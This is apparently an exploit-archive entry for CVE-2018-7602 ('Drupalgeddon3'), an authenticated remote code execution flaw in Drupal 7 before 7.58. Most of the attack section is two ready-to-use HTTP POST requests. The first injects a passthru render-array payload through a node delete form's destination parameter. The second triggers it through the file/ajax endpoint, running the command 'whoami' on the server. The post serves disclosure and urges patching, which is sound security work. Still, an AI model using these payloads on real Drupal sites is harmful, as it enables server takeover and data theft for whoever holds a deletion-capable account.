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Drupal drupgeddon3 Remote Code Execution

Drupal drupgeddon3 Remote Code Execution
Posted Apr 26, 2018
Authored by Blaklis

This is a simple proof of concept exploit for Drupal versions prior to 7.58 that demonstrate the drupalgeddon3 authenticated remote code execution vulnerability.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2018-7602
MD5 | cb5df24a44e9d9968b796e9f48b7d135

Drupal drupgeddon3 Remote Code Execution

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This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.

You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).

POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]

Retrieve the form_build_id from the response, and then triggering the exploit with :

POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]

This will display the result of the whoami command.

Patch your systems!
Blaklis

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